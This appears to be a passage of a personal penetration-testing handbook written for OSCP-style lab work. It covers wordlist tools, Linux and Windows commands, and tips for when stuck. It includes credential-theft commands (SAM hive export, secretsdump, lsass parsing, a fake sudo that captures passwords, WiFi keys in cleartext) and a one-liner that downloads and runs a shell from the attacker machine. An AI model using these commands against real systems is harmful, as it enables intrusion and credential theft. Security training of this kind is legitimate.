# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa
</syntaxhighlight>

----

== Wordlists ==

=== Cewl - Generate wordlist ===

<syntaxhighlight lang="bash">
# Will create a wordlist from words in the URL, and add numbers.
cewl --with-numbers > wordlist
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)
cewl -d 2 -m 5 -w docswords.txt https://example.com
</syntaxhighlight>

=== Cupp ===

[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]

<syntaxhighlight lang="bash">
python3 cupp.py -i # Interactive mode where you fill out information about the person
</syntaxhighlight>

=== Datelist - Generate date wordlist ===

[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]

<syntaxhighlight lang="bash">
# Generate date list with yyyy-mm-dd format
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -
-b = beginning date
-e = end date
-f = format
-o = output
-s = spacing
</syntaxhighlight>

=== Seclists ===

[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]

=== Python script ===

<syntaxhighlight lang="python">
import itertools
words = ["firmanavn", "sommer", "prod",
"dev", "database", "app", "server",
"test", "oracle", "doc", "admin", "db",
"password", "administrator", "tech"]
combo = itertools.combinations(words, 2)
combo = list(combo)

with open("/home/kali/wordlist.txt", "w+") as wordlist:
for i in combo:
wordlist.write(i[0] + "." + i[1])
wordlist.write("\n")
wordlist.write(i[0].capitalize() + "." + i[1].capitalize())
wordlist.write("\n")

for i in range(0,2023):
for v in words:
word = v + str(i) + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "\n"
wordlist.write(word)
word = v + str(i) + "!" + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "!" + "\n"
wordlist.write(word)
</syntaxhighlight>

----

== Useful Linux Commands ==

=== Add SUID (setuid) bit to file ===

<syntaxhighlight lang="bash">
chmod 4755 /tmp/sh
</syntaxhighlight>

=== Add user to sudoers file ===

<syntaxhighlight lang="bash">
# Add User to sudoers file
echo username ALL=(ALL) ALL >> sudoers
</syntaxhighlight>

=== BruteForce using su when having a shell - Password Spray ===

<syntaxhighlight lang="bash">
https://github.com/carlospolop/su-bruteforce
./su.sh -u ray -w xato-net-10-million-passwords-10000.txt
</syntaxhighlight>

=== Cat, cut delimeter ===

<syntaxhighlight lang="bash">
# Cat a file and cut delimiter space in field 3
cat $log | cut -d' ' -f3-
</syntaxhighlight>

=== Copy output to clipboard ===

<syntaxhighlight lang="bash">
cat file | xclip -selection clipboard
</syntaxhighlight>

=== Enable cursor in Terminal Kali ===

<syntaxhighlight lang="bash">
tput cnorm
</syntaxhighlight>

=== Output tty to shell or redirect to file ===

<syntaxhighlight lang="bash">
# From eavsdropper room in THM
# If a user types in his password and you have a shell you can redirect output to your shell.
cat sudo
#!/bin/bash
read password
echo $password > /dev/pty/0 # Choose the correct pty.
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.
# Run
export $PATH=/tmp:$PATH
# Now wait for the user to type his password and it will pop up in your shell.
</syntaxhighlight>

=== Kill/close open port on linux ===

<syntaxhighlight lang="bash">
fuser -k PORT/tcp
</syntaxhighlight>

=== Reset kali to default settings ===

BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.

<syntaxhighlight lang="bash">
# If you're having problems with kali acting up, you can reset kali to default.
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:
sudo apt-get update && sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get autoremove
sudo apt-get autoclean
sudo update-grub
</syntaxhighlight>

=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===

<syntaxhighlight lang="bash">
# https://vk9-sec.com/linux-restricted-shell-bypass/
# List of escape methods
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/
# If in rshell (Restricted shell), use this command to list all available commands
compgen -c
# Rbash escape ssh
ssh alfred@10.11.1.101 -t 'bash' --noprofile
</syntaxhighlight>

[[File:2022-11-image-1.png|thumb]]

=== Read .db files ===

<syntaxhighlight lang="bash">
# For DB files, like users.db. Read content with sqlitebrowser
sqlitebrowser users.db
</syntaxhighlight>

=== Read Windows registry files on Linux ===

<syntaxhighlight lang="bash">
# Start hivexsh, and load a hive.
# https://linux.die.net/man/1/hivexsh
hivexsh
> load SECURITY
</syntaxhighlight>

=== ss instead of netstat ===

<syntaxhighlight lang="bash">
ss -tlpn
-t display tcp socket
-l display listening socket
-p show process using packets
-n dont resolve service name
</syntaxhighlight>

=== Fix Desktop Environment if its broken ===

<syntaxhighlight lang="bash">
https://www.kali.org/docs/general-use/xfce-faq/
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.
REMEMBER TO DELETE IT FROM THE HOME USER and not root.
</syntaxhighlight>

=== Fix Kali Login loop ===

<syntaxhighlight lang="bash">
# On the login screen type
CTRL + ALT + F1
# then type this command from the home/kali dir.
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart
</syntaxhighlight>

----

== Useful Windows Commands ==

=== Stealing SAM and SYSTEM ===

[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]

This files should be '''located''' in ''C:\windows\system32\config\SAM'' and ''C:\windows\system32\config\SYSTEM.'' But '''you cannot just copy them in a regular way''' because they protected.

<syntaxhighlight lang="bash">
C:\windows\system32\config\SAM
C:\windows\system32\config\SYSTEM
C:\windows\system32\config\regback\system.old
C:\windows\system32\config\regback\system
C:\windows\system32\config\regback\sam.old
C:\windows\system32\config\regback\sam
</syntaxhighlight>

==== From Registry ====

The easiest way to steal those files is to get a copy from the registry:

<syntaxhighlight lang="bash">
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
</syntaxhighlight>

'''Download''' those files to your Kali machine and '''extract the hashes''' using:

<syntaxhighlight lang="bash">
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
</syntaxhighlight>

=== Check if shell is 64-bit ===

<syntaxhighlight lang="powershell">
[Environment]::Is64BitOperatingSystem
</syntaxhighlight>

=== Decompile .NET exe file ===

<syntaxhighlight lang="bash">
# Use dotpeek or dnSPY
https://www.jetbrains.com/decompiler/
https://github.com/dnSpy/dnSpy
</syntaxhighlight>

=== Dump hashes from NTDS.dit using secretdump.py ===

<syntaxhighlight lang="bash">
# Location C:\Windows\ or C:\Windows\System32\
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
</syntaxhighlight>

=== Dumping Domain password hasehs ===

<syntaxhighlight lang="bash">
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow
https://pentestlab.blog/tag/diskshadow/
</syntaxhighlight>

=== Dump creds frol lsass.dmp ===

<syntaxhighlight lang="bash">
# https://github.com/skelsec/pypykatz
# See writeup for HTB Blackfield
pypykatz lsa minidump lsass.DMP
</syntaxhighlight>

=== Find writeable directories ===

<syntaxhighlight lang="bash">
# Find writable directories
dir /a-r-d /s /b
</syntaxhighlight>

=== Find .NET version using regkey ===

<syntaxhighlight lang="bash">
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
</syntaxhighlight>

=== Executing MSI on Windows ===

<syntaxhighlight lang="bash">
msiexec /quiet /i cmd.msi
</syntaxhighlight>

=== Dump Windows Sam File ===

<syntaxhighlight lang="bash">
reg save hklm\sam c:\sam
reg save hklm\system c:\system
</syntaxhighlight>

=== Run a dll using rundll32.exe ===

<syntaxhighlight lang="bash">
rundll32 C:\Tools\TestDll.dll,run
</syntaxhighlight>

=== Registry dump passwords ===

<syntaxhighlight lang="bash">
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
</syntaxhighlight>

=== Registry dump autologon passwords ===

<syntaxhighlight lang="bash">
reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
</syntaxhighlight>

=== See WiFi password in cleartext ===

<syntaxhighlight lang="bash">
netsh wlan show profile
netsh wlan show profile Profile01 key=clear
</syntaxhighlight>

=== Enviroment variable Location ===

{| class="wikitable"
|-
| %ALLUSERSPROFILE%
| C:\Documents and Settings\All Users
|-
| %APPDATA%
| C:\Documents and Settings\Username\Application Data
|-
| %COMMONPROGRAMFILES%
| C:\Program Files\Common Files
|-
| %COMMONPROGRAMFILES(x86)%
| C:\Program Files (x86)\Common Files
|-
| %COMSPEC%
| C:\Windows\System32\cmd.exe
|-
| %HOMEDRIVE%
| C:\
|-
| %HOMEPATH%
| C:\Documents and Settings\Username
|-
| %PROGRAMFILES%
| C:\Program Files
|-
| %PROGRAMFILES(X86)%
| C:\Program Files (x86) (only in 64-bit version)
|-
| %SystemDrive%
| C:\
|-
| %SystemRoot%
| C:\Windows
|-
| %TEMP% and %TMP%
| C:\Documents and Settings\Username\Local Settings\Temp
|-
| %USERPROFILE%
| C:\Documents and Settings\Username
|-
| %WINDIR%
| C:\Windows
|}

=== List all PowerShell Accelators ===

<syntaxhighlight lang="powershell">
[psobject].assembly.gettype("System.Management.Automation.TypeAccelerators")::Get
Key Value
--- -----
Alias System.Management.Automation.AliasAttribute
AllowEmptyCollection System.Management.Automation.AllowEmptyCollectionAttribute
AllowEmptyString System.Management.Automation.AllowEmptyStringAttribute
AllowNull System.Management.Automation.AllowNullAttribute
ArgumentCompleter System.Management.Automation.ArgumentCompleterAttribute
array System.Array
bool System.Boolean
byte System.Byte
char System.Char
....
</syntaxhighlight>

----

== PROOFS ==

=== Linux ===

<syntaxhighlight lang="bash">
echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " "
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: & type "C:\Documents and Settings\Administrator\Desktop\proof.txt"
</syntaxhighlight>

== HELP! I'm stuck - What to do when stuck ==

The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis' notes.]

=== Initial access ===

==== Web discovery ====

* Search for <code>http://site/[hostname]</code> if you can't find a directory or software you think should exist.

* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.

* Fuzz parameters with ffuf.

* Examine response headers for minor custom errors.

==== Getting a shell ====

* To save time, upload a web shell instead of manually executing PHP commands.

* Some PHP local file inclusion vulnerabilities can reference remote resources with <code>?path=http://[kali ip]/rev-shell.php</code>.

* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.

* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: <code>wget -P /tmp http://kali/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf</code>

* If a CMS has an RCE, look closely at what/where it's implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.

* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.

* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add <code>exit(0)</code> in the python script after the account is created and use the credentials for another exploit.

* Use the same ports the box has open for shell callbacks.

* Try at least 4 ports and ping when trying to get a callback.

* If you can control data being read to the server, always consider serialization.

* Always test payloads locally, especially if it's blind.

* Consider where can you write data to that's then read back in to the server.

==== General ====

* Don't spin wheels on other routes if something has a known exploit to root and it's a 10 pointer.

* Check version numbers to ensure something isn't a false flag.

* Consider similar protocols. If you get an SSH key, try using it over SCP.

* Type version numbers carefully!

* For hydra always do -e nsr. Example: <code>hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I</code>

* Look for <code>auth-owners</code> in nmap to get usernames.

* FTP - always be in a directory on kali that's writable to download files.

* FTP brute force "admin".

* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].

* Search a software's Github page for version files that would give specific information.

* See Proving Grounds' Dibble for node.js RCE.

* Review page source code for commented out areas for every page.

* Guess parameters. If there's a POST forgot_pass.php with an email param, try <code>GET /forgot_pass.php?email=%0aid.</code>

* Parameter/command injection fuzzing:
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]

* <code>ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde</code>

* See Proving Grounds' Hetemit for an example

* When brute forcing credentials, guess the software name as the username and password.

* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.

=== Windows Privilege Escalation ===

* Explore the C:\ drive root. Some scheduled tasks can't be seen as a low level user could be located at C:\.

* Always test a reverse shell on a windows box when attempting to get a shell.

* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn't work, execute a command to change the Administrator password and used smbexec to auth.

* Identify all users. Attempt to brute force authentication via RDP

* Always view "C:\program files" and "C:\program files (x86)" for installed apps.

=== Linux Privilege Escalation ===

* Privesc scripts aren't always right:
e.g. a decoy exist item in crontab when <code>sudo -l</code> reveals a process dumper used to get credentials from memory.

* If a process dumper is available, don't Google too deep. See if there are custom "password" processes to target.

* <code>su root</code> is the best way to switch to root if you have a password but aren't in root group.

* Identify all users. Attempt to brute force auth ssh if <code>/home</code> or <code>/etc/passwd</code> is pulled.

* Always run <code>echo $PATH</code> to show available commands/locations.

* Docker - see Proving Grounds' Sirol/Escape box.

* If a user is in a group, it's probably for a reason.

* Fully understand software that's related to a user's group (e.g. fail2ban group).

* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see

* Run <code>groups</code>.

* <code>cat ~/.profile && cat ~/.bashrc</code>.

* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.

* If another user exist, always <code>su [user]</code> with no password and their name as the password.

* Check <code>/var/backups</code>.

* Custom SUIDs won't be highlighted as linpeas and other privesc scripts don't know what they are.
Examine each and every SUD!

* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.

* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl

* Try kernel exploits! If no <code>gcc </code>installed, compile on kali with <code>gcc --static</code>

* Files with caps / capabilities - see Proving Grounds' Escape box.
[[Category:Handbooks]]